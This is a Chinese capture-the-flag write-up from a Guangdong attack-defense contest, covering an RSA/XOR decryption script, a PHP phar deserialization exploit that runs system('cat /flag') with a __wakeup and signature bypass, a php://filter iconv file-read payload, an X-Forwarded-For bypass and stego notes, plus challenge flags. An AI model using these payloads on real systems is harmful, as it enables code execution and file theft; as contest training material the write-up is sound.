cyi wp第三届广东省攻防竞赛

news/2024/9/23 12:13:13

Crypto

简单的rsa搭配异或加解密,

# encoding:utf-8
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor

d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451


def decrypt(c, N, d):
m = pow(c, d, N)

decrypted_msg = long_to_bytes(m)

key = b'Life is like an ocean only strong-minded can reach the other shore'
decrypted_msg = strxor(decrypted_msg, key[:decrypted_msg.__len__()])
return decrypted_msg.decode()


decrypted_message = decrypt(ciphertext, N, d)
print(decrypted_message)

flag{1s_Pa33w0rd_1y2u22}

 

 

 

web

unserialize_web

扫目录下载www.tar.gz

跟着这篇文章打就行了

php(phar)反序列化漏洞及各种绕过姿势 (pankas.top)


生成phar文件
<?php
class File{
public $val1;
public $val2;
public $val3;
public function __construct($ccy, $bkq, $cmd){
$this->val1 = $ccy;
$this->val2 = $bkq;
$this->val3 = $cmd;
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$o = new File("file", "exists", "system('cat /flag');");
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

绕wakeup和修改签名,wakeup改个数即可绕过

from hashlib import sha1
import gzip

f = open("phar.phar", 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + 类型 + GBMB
# gzip.compress(
open("phar.gif", 'wb').write(gzip.compress(newf)) # 写入新文件

 

 

消失的flag

Xff头绕过access,给file传参

PHP代码审计 - ^cyi^ - 博客园 (cnblogs.com)

然后就是对着我自己的文章一顿操作,string filiter、read、quoted被ban了,只能用convert.iconv了

Fuzz得到payload

?file=php://filter/convert.iconv.UCS-4*.UCS-4*/resource=/flag

Mypdf(fail)

www.zip下载源码,然后就没有然后了,审不动

hackme(fail)

弱口令,admin 123456

 

 

 

MISC

猜一猜

下载得到压缩包,压缩包名就是密码,

扫一扫,❀❁❀❇❀✼❀❂✿❆✿✽❁❀✿✾❂❅✿❄❂❉❀✿❂❆❀❃❀✿❂❆✿❀❁✾✻✿❁❁❀❁❂❊✻❂✿❈=

前几个比赛打过,花朵解密

文本加密为花朵符号,可自设密码|文本在线加密解密工具 (qqxiuzi.cn)

你要的就在这(fail)

在图片尾提示stegpy

上面积分的结果是π,6应该是提示秘钥位数

得到秘钥luckyone

0 1,通道有东西,单0,单1,01结合都没提出有用的东西

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/31183.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

PXE+Kickstart无人值守安装安装Centos7.9

目录一、什么是PXE1、简介2、工作模式3、工作流程二、什么是Kickstart1、简介2、触发方式三、无人值守安装系统工作流程四、实验部署1、环境准备2、服务端:关闭防火墙和selinux3、添加一张仅主机的网卡4、配置仅主机的网卡4.1、修改网络连接名4.2、配IP地址4.3、重启网卡5、配…

Kubernetes

Kubernetes 是一个可移植、可扩展的开源平台,用于管理容器化的工作负载和服务,方便进行声明式配置和自动化。Kubernetes 拥有一个庞大且快速增长的生态系统,其服务、支持和工具的使用范围广泛。 小提示: 系统配置文件 Linux 系统启动后,默认从以下 系统配置文件 加载内核参…

2024 Jiangsu Collegiate Programming Contest

Preface 这场由于是学长们出的题,在5.5就作为验题队伍VP了一遍 本来验题场一般是三人三机火速开题的,但由于那天徐神没带电脑,索性就三人一机当作训练来打 最后经典被队友带飞,4h8题后和NJU的WF银牌队只差一题,然后最后1h我冲刺H题失败,耻辱下机吃花雕A. Twos Company bu…

[sunj小白瞎搞系列 一]

小白瞎搞系列 1: Introduction : 今天上JAVA课遇到了一个很蠢的作业,为什么蠢呢,其实我对JAVA不算很熟,关键还是,老师让我们用GUI写界面..... 没错,你没听错。都什么时间了!? 都2024.5.13 晚上 22:18分了,还在写GUI。好吧,不狡辩了,就是不想写。 那为什么笔者要发呢…

软考-官方模拟考试-务必参加!

模拟练习时间 模拟练习平台开放时间:2024年5月13日 9:00 至 5月23日 17:00,报名参加考试的考生可在该时段内自愿进行网上模拟平台练习。 模拟考试时间只开放10天时间。 官方公告原文:https://www.ruankao.org.cn/article/content/2405071807085639092455991 模拟考试系统入…

hive on spark

1 Hive的执行引擎Hive:专业的数仓软件,可以高效的读写和管理数据集。 Hive的运行原理:① hive主要是写HQL的 (类SQL,相似度90%,剩下的10%就是HQL里面一些独有的语法)② 写的HQL会根据不同的计算引擎翻译成不同的代码2 数仓搭建技术选型Spark On Hive:基于Hive的Spark…

Windows computer File share Settings

1. Search for "Manage advanced sharing settings" in the Windows lower left corner and click the result. As shown below ①, ② 2.Then select the two items in the pop-up page, as shown in the figure ③ 3.Then search for "Turn Windows feature…

2024 AI中转计费平台系统源码

简介:2024 AI中转计费平台系统源码 图片: 点击下载